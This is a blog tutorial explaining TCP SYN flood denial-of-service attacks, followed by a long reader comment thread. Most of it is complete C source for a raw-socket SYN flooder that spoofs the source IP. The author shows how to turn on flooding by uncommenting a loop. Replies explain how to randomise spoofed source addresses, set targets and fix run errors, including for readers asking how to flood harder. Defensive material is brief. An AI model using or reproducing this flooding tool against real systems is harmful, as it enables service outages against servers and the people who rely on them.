TCP/IP 3-way handshake is done to establish a connection between a client and a server. The process is :
1. Client --SYN Packet--> Server
2. Server --SYN/ACK Packet --> Client
3. Client --ACK Packet --> Server
The above 3 steps are followed to establish a connection between source and destination.
SYN Flood DOS attacks involves sending too many SYN packets (with a bad or random source ip) to the destination server.
These SYN requests get queued up on the server's buffer and use up the resources and memory of the server. This can lead to a crash or hang of the server machine.
After sending the SYN packet it is a half-open connection and it takes up resources on the server machine. So if an attacker sends syn packets faster than memory is being freed up on the server then it would be an overflow situation.
Since the server's resources are used the response to legitimate users is slowed down resulting in Denial of Service.
Most webservers now a days use firewalls which can handle such syn flood attacks and moreover even web servers are now more immune.
For more information on TCP Syn DOS attack read up rfc 4987 , titled "TCP SYN Flooding Attacks and Common Mitigations" over here
Below is an example code in C:
Code
/*
Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h> //Provides declarations for ip header
struct pseudo_header //needed for checksum calculation
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
//Datagram to represent the packet
char datagram[4096] , source_ip[32];
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
strcpy(source_ip , "192.168.1.2");
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
memset (datagram, 0, 4096); /* zero out the buffer */
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htons(54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; /* first and only tcp segment */
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
//Now the IP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
//IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
exit(0);
}
//Uncommend the loop if you want to flood :)
//while (1)
//{
//Send the packet
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
{
printf ("error\n");
}
//Data send successfully
else
{
printf ("Packet Send \n");
}
//}
return 0;
}
Compile and Run
On Ubuntu
$ gcc synflood.c $ sudo ./a.out Packet Send
Use wireshark to check the packets and replies from server.
The sendto function if put in a loop will start flooding the destination ip with syn packets.
Hi,
I am trying to simulate the syn flood detection algorithm. Is possible to simulate syn flood, detection and defense in any simulator?
Its a great help.
Thanks
I think TCP checksum must be calculated first..
Hi, would you be so kind to let me demo this code for my senior seminar presentation about dos and ddos attack? thanks
yes, you can use the code
thanks so much
hello sir can u please help me with tcl code for SYN attack …..or can u please give a idea of seneario for few nodes to start with…..
my id is [email protected]
Thank you:):)
Here is a hint to make this code work. I’m not going to make it easy as I don’t like noobs that steal code to ddos. The hint is this code need a function that uses srand to generate a random ip. Have fun coding :D
getting following error:
“Error setting IP_HDRINCL. Error number : 9 . Error message : Bad file descriptor”
please help me out with this.
run the program with root privileges
Could I get it and share it with my linux blog?
yes
Thanks
Hello, Silver Moon, pure nice script. I have one question, it is possible to include not just one “source_ip” but whole subnet and send SYN packet randomly from different subnet/ips? Thank you.
this has to be coded by picking up random ips everytime in the loop.
something like 192.168.random_number(1-255).random_number(1-255)
can be coded easily. check the function called random.
Can i compile and run the program above with NETBEAN? I am a dummy here. can you please tell me the line to change in the code above if i want to use it now.
Why i am not getting any reply from server
do I have to change line 63 every time I wanna change the IP Target ?
yes
or you can modify the program to take target ip as input from commandline.
Hi,
It’s emergency. I need a network and security specialist and I am interested to hire you.
Can you please contact me in my email!
THanks.
I have a question I’d be grateful if you would take the time to answer.
I’m using this as a learning exercise, and it’s proving to be very useful. One thing I’m currently unclear about is the IP address used as the source address. If we spoof this address will the target be able to successfully send the SYN/ACK?
If the spoofed address is an external address would it not get an ICMP destination unreachable message from the spoofed IPs gateway, and if it’s allegedly on the same network as our target will the target not perform an ARP request that never resolves?
I appreciate your time and knowledge.
When the source address is spoofed, the target system replies to that fake/spoofed address.
Now if there is a machine alive on the spoofed address then it will receive the packet which it will discard.
On external network if the spoofed ip address does not exist, the spoofed ip’s gateway would reply with an icmp destination unreachable.
On LAN/internal network it will send the packet out from the gateway if its not an 192.168.x.x address.
And if its a 192.168.x.x address then the gateway might try to resolve it by doing an ARP request.
I also realised this morning that the target wouldn’t need to perform an ARP request as the MAC address for the spoofed IP would be in the original SYN packet. So as long as the spoofed IP is on the 192.168.x.x network the SYN/ACKs should just be blackholed.
Thanks again for your time and effort.
iph->id = htonl (54321); //Id of this packet
Needs to be:
iph->id = htons (54321); //Id of this packet
In order for it to actually be 54321 as the id as it is only a 16 bit field and not 32.
Good code though, thanks.
Thanks for pointing it out. fixed it.
Hey, thanks a lot for this great article and reply also!:) It helped me a lot for my project. Could u please let me know how to enforce delay in syn-ack. I found dummynet through which one can control the overall delay in packets but this is for freebsd platform. Please suggest me something in substitute of this for ubuntu platform. Thanks once again!
do you implemented this in ns2???
please give me just the overview about the implenation .. help me ..
no, I have not tested this on network simulator.
Hey, thanks for the code. But i’m having error-“Error setting IP_HDRINCL. Error number :9. Error message: Bad file descriptor”. Could u please suggest me the solution or the probable cause of getting this?
Thanks in advance!
Bad file descriptor indicates that the socket is invalid. are you running the program with root privileges/sudo ?
right after the socket creation line int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
check if the socket is valid by doing this :
if(s == -1)
{
printf (“Error creating socket. Error number : %d . Error message : %s \n” , errno , strerror(errno));
}
This will tell you if the socket is invalid ?
It’s working fine now. I had not given the root privileges. Thanks man!:)
thanku you for supporting and publishing this code it is really working fine ….please tell me how to make graphical representaion …for the results.
Hi,
Any idea if it posiible to integrate this code in NS2 to create this type of attack in NS2??
Regards,
Moe
So, how would the code look if you swapped IP address, Pakage ID and Port every time?
That would be cool.
Thanks for sharing the code!
how can we prevent the syn-flood attack at the server side.
Use firewalls to prevent syn flood attacks on server side.
If a host is sending too many syn packets then the firewall can block its ip and prevent any further communication.
i am doing a project in linux about dns server protection against such attacks,for which i have to write a code in c.please help me.how can i write that code??thank you in advance.
i replace line 63 sin.sin_addr.s_addr = inet_addr (“1.2.3.4”) by sin.sin_addr.s_addr = inet_addr (“127.0.0.1”) to test on my local host , still see packet send in terminal screen , but i dont see the packet sent on wireshark ( with 1.2.3.4 work fine) , and i see nothing when check apache log .
How could i do to make it work on local host? ( i try change destination IP but it didnt work)
packets with source ip 127.0.0.1 will not be captured by wireshark , since that is the localhost ip
and localhost packets dont go through the network interface/adapter.
Also apache log will not show any such packets since it has nothing to do with this. It shows only http requests on port 80
wait… when capture packets with wireshark , it said that 1.2.3.4 is destination IP not source IP , and what should i do to get this request recorded to the log file to see what server got when i make request by this code ? sorry for my fool question , im just a newbie
Basically
I should just edit this line:
sin.sin_addr.s_addr = inet_addr (“1.2.3.4”);
and uncomment to make the script flood .
That’s it ?
What if I want to make the packet stronger ? Which command should I edit ?
another question, what is this line for:
tcph->source = htons (1234);
If I’m using this on linux on a fast speed connection and a kick ass server what should I edit to make it flood stronger and better ?
How can we make this script flood ?
Do i just delete line 119 to 137 ?
uncomment line 120 , 121 and 137
sir, can i do ddos attack on any port of router?
If yes then please tell me the source code, as i have to make a project on this.
I am a college student…………….
thank man !
i tested it , worked fine , i tried flood mode and i didnt know how to stop it … i tried closing the terminal running the SYNflood progam and my network still overload … how to resolve it ?
Hi,
can u pls tell me how to execute syn flooding attack in ns2.. Thank you..
what is ns2 ?
NetWork Simulator.. for simulation of wired and wireless networks..
you have to check the documentation of the application/simulator you are using.
can i check incoming syn packets by netstat command?
You can get some limited information like lots of TCP connections in TIME_WAIT state, but it may not be very useful.
How can i detect syn flood attack on Windows7?
one simple way to detect is by using a sniffer like wireshark and check the incoming packets.
in a synflood situation there would be lots of syn packets coming in.
how to send syn packets from Ubuntu to windows7?
You can use the code given in the post on Ubuntu. It does not matter what OS is running on the target system.
Actually can i kno for wat the above code is used..is it used to generate a tcp syn attack or detect a syn attack
The above code can be used to generate tcp syn attack. Not detect them.
The program is running successfully…..!but syn packets are not flooded…..i used the wireshark to capture the packets….the result is zero bytes from the destination host….
Is there any modification require….?
to synflood , you have to uncomment the while loop. that is line number 120 , 121 , 137
you should be able to see lots of syn packets in wireshark when you run the program with the while loop.
make sure that no firewall is blocking syn packets on your local system.
How to make sure that firewall is not blocking syn packets?
check the firewall configuration. the firewall checking/security has to be low.
if the firewall does not have any specific configuration parameter/setting then switch it off completely.
Hey, thanks! But how to do that in ubuntu? Is there any command for that? Thanks once again!:)
Hello Sir,
Thank you very much for your solutions. Program is working fine except the followning warning:
$ gcc SYNattack.c
SYNattack.c:21:1: warning: useless storage class specifier in empty declaration
And otherwise Everything is working fine in program and thanks a lot. But I am not able to verify in wireshark tool so please help me out to verify the attack in wireshark tool. And is it possible to make this program to work in windows system, in order to do that what all additional files we need to include in program please help me out.
Thanking you sir,
Regards,
Raj
The code has been fixed. there should be no compiler warnings now.
Wireshark should show the transmitted packet. If not verify your setup. Is wireshark picking up other network packets properly ?
Is there any firewall running on the system. firewalls might block such packets.
For windows the winpcap library can be used to send syn packets. Check this :
https://www.binarytides.com/blog/raw-sockets-packets-with-winpcap/
Hello Sir,
Actually I was runnig Wireshark in LAN set-up and so only!, I am not able to see the other systems ips and attack. And I am new to this project please help me out to set-up the network and the components required for this.
I will be thank full to you.
Regards,
Raj
scan your network for other live hosts. use nmap , angry ip scanner or a similar tool. other hosts will have an ip similar to yours within the same subnet(netmask).
Hello Sir,
The program is running good except the below warning:
$ gcc SYNattack.c
SYNattack.c:21:1: warning: useless storage class specifier in empty declaration
$ sudo ./a.out
………………….
And i used wireshark to analyze and it was showing the transfer of TCP [SYN] in it. But what i am confused is the destination address of ip suppose to be edited exactly in which place and also it obtains the result for any random address we type. How we must clarify ourselves that the ip address exist or not??. please help me out and also please give some data to understand the program well.
Thanks & Regards.
raj
the destination ip is stored in the sockaddr_in structure sin :
sin.sin_addr.s_addr = inet_addr (“1.2.3.4”);
The ip address is passed as a string to the function inet_addr
Hello Sir,
Thank you for your last solution and its working fine but in ubuntu after running command :
raj@home$ sudo ./a.out
it will stop like this way:
.raj@home$
and i am using wireshark to chek but i am not able to find anything exactly so. how do i verify that. And
how to deal with these warnings,
$ sudo gcc SYNattack.c
SYNattack.c:17:1: warning: useless storage class specifier in empty declaration
SYNattack.c: In function ‘main’:
SYNattack.c:59:2: warning: incompatible implicit declaration of built-in function ‘memset’
SYNattack.c:100:2: warning: incompatible implicit declaration of built-in function ‘memcpy’
Thank you for your help sir.
Regards,
Raj
I have updated the code. Now you should not get the memset and memcpy warnings.
sudo is not needed why compiling the code. Simply :
$ gcc SYNattack.c
use sudo when running the program :
$sudo ./a.out
The dot ‘.’ in the output indicates that the packet has been send. The code by default only sends out 1 packet and it might be difficult to detect in large traffic in wireshark. Use filter in wireshark or uncomment the while loop and the program will send multiple packets. Then it will be easier to detect the packets in wireshark
Hello Sir,
I run the program in ubuntu but its giving some warnings and after that i tried to execute “./a.out” but its showing this error, please help me out sir, i will be thankful to you.
raj@home:~$ ./a.out
Warning: Cannot set HDRINCL!
error
raj@home:~$
Regards,
Raj
you need to run the program with root privileges like this :
$ sudo ./a.out
Awsome, thanks bro….
lf moar source codes \o
we want VB.NET code not linux
Sir,
When i run the code I am getting this –> “Warning: Cannot set HDRINCL!n”…Dont understand why it returns -1 in the loop there…Could you please shed some light?
Regards
Did you run the code with root privileges ?
Complementing my last e-mail…
Compliation were generating warnings so I included:
#include // -> it seems it was necessary to use memset
…and also, I excluded the “typedef” command when defining the pseudo_header
This eliminates the warnings but the result is still the same.
regards
Folks, I tried it and it looks it’s working, but, too slow.
Although the terminal shows a thousand dots per second, wireshark takes 5 secs to show each group of 3 SYN packets sent.
Any advice?
regards
Virgula, the reason of slow wireshark output may be the DNS resolving. Try to disable resolving with the ‘-n’ cmdline option.
Hey guys,can anyone please explain what does the following line:
struct iphdr *iph = (struct iphdr *) datagram;
Thank you very much.
I have tested the code already.
It’s very cool!
Thx man! :)
AZIDBLAZER – I’m not a programmer, but a wireless engineer and I’m looking for a way to perform a specific test on our WLAN equipment. I’m testing a firewall function and do not want to use the test we have typically used because it is not a “real-world” practical test IMO. I’d like to test SYN flood between two wifi clients with firewall function mitigating the attack.
Please email me if you wouldn’t mind helping me understand your script and getting it to function correctly. I have a linux test bed in my lab and will attempt on my own, but as I stated, I’m not a programmer so I don’t know how far i will get. Thank you.
The program runs but no packets are sent to the target. I use wireshark to monitor the LAN traffic. I can’t figure out what seems to be the problem.
make sure you are running the program with root privileges.
I keep getting error: stray ‘\240\’ and error: stray ‘320’ during compilation
can anyone help me please?
check the line numbers where the error occurs and make sure that line has no special invisible characters.
Thanks a lot man! Really faster than any other solution that I found (since the others where made in perl/ruby/python, etc).
Dear AZIDBLAZER,
Thank you for your reply. Really appreciate it. Actually I need this program for simulate the DoS Attack in lab environment to proof and study the concept of three-way handshaking.
Best Regards.
Seriously Guys… If you dont know a programming language and are looking for a script to “PWN” your friends or anyone else this is not the palce to start. All you have to do is edit the while thats already in the code and uncomment it out. Im not going to tell you how because this is SIMPLE PROGRAMMING and i dont want another script kiddie out there.
Dear Sir,
I think I’m facing the same problem as previous comment posted.
I would appreciate if you help on the required modification.
Regards,
Moe
Did you run the program with root privileges and still wireshark did not detect any packet ?
Dear Sir,
I had compiled this program but it doesn’t works as to generate syn packet. Is is need modification on this source code ?
What does it means from this statement ?
The sendto function if put in a loop will start flooding the destination ip with syn packets.
Do I need to modify the code ? Please help me, I really need the code for generate syn packet for me to simulate dos attack.
Thank you
Make sure you run the program with root privileges.
Also check using wireshark if packets are being send or not.